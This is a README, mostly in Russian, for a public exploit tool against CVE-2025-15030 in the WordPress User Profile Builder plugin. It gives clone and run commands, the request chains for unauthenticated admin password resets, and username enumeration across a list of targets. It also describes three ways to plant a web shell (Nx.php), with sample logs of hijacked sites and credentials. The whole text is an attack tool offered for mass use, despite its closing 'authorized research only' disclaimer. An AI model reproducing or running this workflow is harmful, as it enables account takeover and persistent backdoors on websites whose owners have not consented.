
User Profile Builder < 3.15.2 - Неаутентифицированный произвольный сброс пароля
User Profile Builder < 3.15.2 - Unauthenticated Arbitrary Password Reset
____ _ _____ ____ ____ ____ ____ _ ____ ____ _____ ____
/ _\/ \ |\/ __/ /_ \/ _ \/_ \/ ___\ / \/ ___\/ _ \\__ \/ _ \
| / | | //| \ _____ / /| / \| / /| \_____ | || \| / \| / || / \|
| \__| \// | /_\____\/ /_| \_/|/ /_\___ |\____\| |\___ || \_/| _\ || \_/|
\____/\__/ \____\ \____/\____/\____/\____/ \_/\____/\____//____/\____/
Основная причина:
В процессе восстановления пароля плагина Profile Builder (action2=recover_password2) не выполняется надлежащая проверка ключа сброса и не применяется срок действия токена. Отправляя специально сформированный POST-запрос с действительным password_recovery_nonce_field2, извлечённым со страницы сброса, неаутентифицированный злоумышленник может установить новый пароль для любого пользователя WordPress — включая администраторов — зная только его имя пользователя. Никакого взаимодействия по электронной почте или действительного токена сброса не требуется.
Этот инструмент реализует две независимые цепочки атак для каждой цели, за которыми следует опциональное развёртывание оболочки:
┌────────────────────────────────────────────────────────────────────┐
│ ЦЕПОЧКА 1 · CORE (злоупотребление нативным сбросом wp-login) │
│ │
│ POST /wp-login.php?action=lostpassword (запуск сброса) │
│ GET /wp-login.php?action=rp&key=... (переход по ссылке сброса)│
│ POST /wp-login.php?action=resetpass (внедрение нового пароля)│
│ Перебор имён пользователей → строгий вход → проверка /wp-admin/ │
├────────────────────────────────────────────────────────────────────┤
│ ЦЕПОЧКА 2 · PB (сброс Profile Builder из ссылки) │
│ │
│ Загрузка URL сброса из pb_reset_links.txt │
│ GET <reset_url> → извлечение nonce + userData │
│ POST action2=recover_password2 → установка нового пароля │
│ Строгий вход → проверка доступа к /wp-admin/ │
├────────────────────────────────────────────────────────────────────┤
│ ЗАГРУЗКА ОБОЛОЧКИ (выполняется после любого подтверждённого │
│ захвата администратора) │
│ │
│ Метод 1 → plugin-install.php загрузка (Nxploited.zip) │
│ Метод 2 → REST API /wp-json/wp/v2/plugins │
│ Метод 3 → Редактор плагинов/тем (прямая запись Nx.php) │
│ Проверка → GET /wp-content/plugins/Nxploited/Nx.php │
│ Журнал → scan_results/shells.txt │
└────────────────────────────────────────────────────────────────────┘
git clone https://github.com/Nxploited/CVE-2025-15030.git
cd CVE-2025-15030
pip install -r requirements.txt
requirements.txt
requests>=2.28.0
urllib3>=1.26.0
colorama>=0.4.6
rich>=13.0.0
Поместите Nxploited.zip в ту же папку, что и скрипт, чтобы разрешить загрузку оболочки. Инструмент работает и без этого файла, но развёртывание оболочки будет пропущено.
python3 CVE-2025-15030.py
Файл со списком целей (один URL на строку): list.txt
Потоки (одновременные сайты) [5]: 5
Тайм-аут HTTP (секунды) [10]: 10
Выходной файл для успешных сбросов через wp-login: scan_results/wp_login_reset_success.txt
Выходной файл для оболочек Nxploited: scan_results/shells.txt
Файл со ссылками сброса Profile Builder (опционально): pb_reset_links.txt
Пароль, используемый для всех попыток сброса и входа, задан внутри:
Nxploited_adminSA
list.txt — Цели (обязательно)https://target1.com
target2.com
http://target3.com/wordpress
pb_reset_links.txt — Ссылки сброса Profile Builder (опционально)Если вы захватили ссылки для сброса пароля из писем Profile Builder, вставьте их сюда по одной на строку. Инструмент выполнит:
password_recovery_nonce_field2 + userDataaction2=recover_password2https://target1.com/wp-login.php?action=rp&key=ABC123&login=admin
https://target2.com/?page_id=5&action=recover_password&key=XYZ&login=editor
Инструмент автоматически обнаруживает имена пользователей WordPress, используя три метода перед попыткой входа:
| Метод | Конечная точка |
|---|---|
| Перенаправление автора |
Каждая попытка входа строго проверяется перед записью результатов. Инструмент проверяет:
/wp-admin/index.php → id="adminmenu", id="wpadminbar"
/wp-admin/users.php → users.php indicator
/wp-admin/plugins.php → plugins.php indicator
/wp-admin/plugin-install.php → upload-plugin, plugin-install-tab
Результат записывается на диск только при подтверждении ≥ 3 маркеров администратора.
После подтверждённой сессии администратора инструмент последовательно пытается использовать три метода эскалации:
Проверка оболочки: GET /wp-content/plugins/Nxploited/Nx.php → HTTP 200
| Файл | Содержимое |
|---|---|
scan_results/wp_login_reset_success.txt | Подтверждённые захваты администратора через цепочку CORE |
scan_results/shells.txt | URL развёрнутых оболочек с учётными данными |
wp_login_reset_success.txt
[2025-06-01T14:22:10] https://target.com | https://target.com/wp-login.php | account=admin pass=Nxploited_adminSA
shells.txt
[2025-06-01 14:22:18] https://target.com - admin:Nxploited_adminSA - SHELL: https://target.com/wp-content/plugins/Nxploited/Nx.php
[host] https://target.com
CORE: KEY=OK , RESET=OK , ACCESS=1 |
PB: KEY=FAIL, RESET=FAIL, ACCESS=0 |
SHELL: OK | LOGIN: https://target.com/wp-login.php
Nxploited (Khaled Alenazi)
GitHub → https://github.com/Nxploited
Telegram → @KNxploited
FOR AUTHORIZED SECURITY RESEARCH AND EDUCATION ONLY.
The author bears zero responsibility for any use of this tool
against systems the operator does not own or have explicit
written permission to test.
Unauthorized use violates the CFAA, CMA, and equivalent laws
worldwide and may result in criminal prosecution.
You alone are responsible for your actions.
© 2025 Nxploited · User Profile Builder < 3.15.2 · Фиксировано в версии 3.15.2
| Поле | Детали |
|---|
| CVE | CVE-2025-15030 |
| CVSS | 9.8 КРИТИЧЕСКАЯ — CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H |
| ADP | CISA-ADP |
| Плагин | User Profile Builder для WordPress |
| Затронутые версии | Все версии до 3.15.2 |
| Аутентификация | Не требуется |
| Тип | Некорректный сброс пароля — неаутентифицированный захват учётной записи |
| CWE | CWE-640 · Слабый механизм восстановления пароля |
/?author=1 → /?author=10 |
| REST API | /wp-json/wp/v2/users |
| Эвристика имени хоста | Первая метка доменного имени |
| Резервный вариант по умолчанию | admin всегда включён |
| Метод | Конечная точка | Триггер |
|---|
| Загрузка плагина | /wp-admin/update.php?action=upload-plugin | Загружает Nxploited.zip через форму установки |
| REST API | /wp-json/wp/v2/plugins | Прямой POST ZIP-файла |
| Запись через редактор | /wp-admin/plugin-editor.php | Записывает Nx.php через редактор файлов |
| Столбец | Значение |
|---|
KEY | Процесс сброса успешно инициирован |
RESET | Новый пароль принят сервером |
ACCESS | Количество подтверждённых входов администратора |
SHELL | OK, если Nx.php подтверждён как работающий |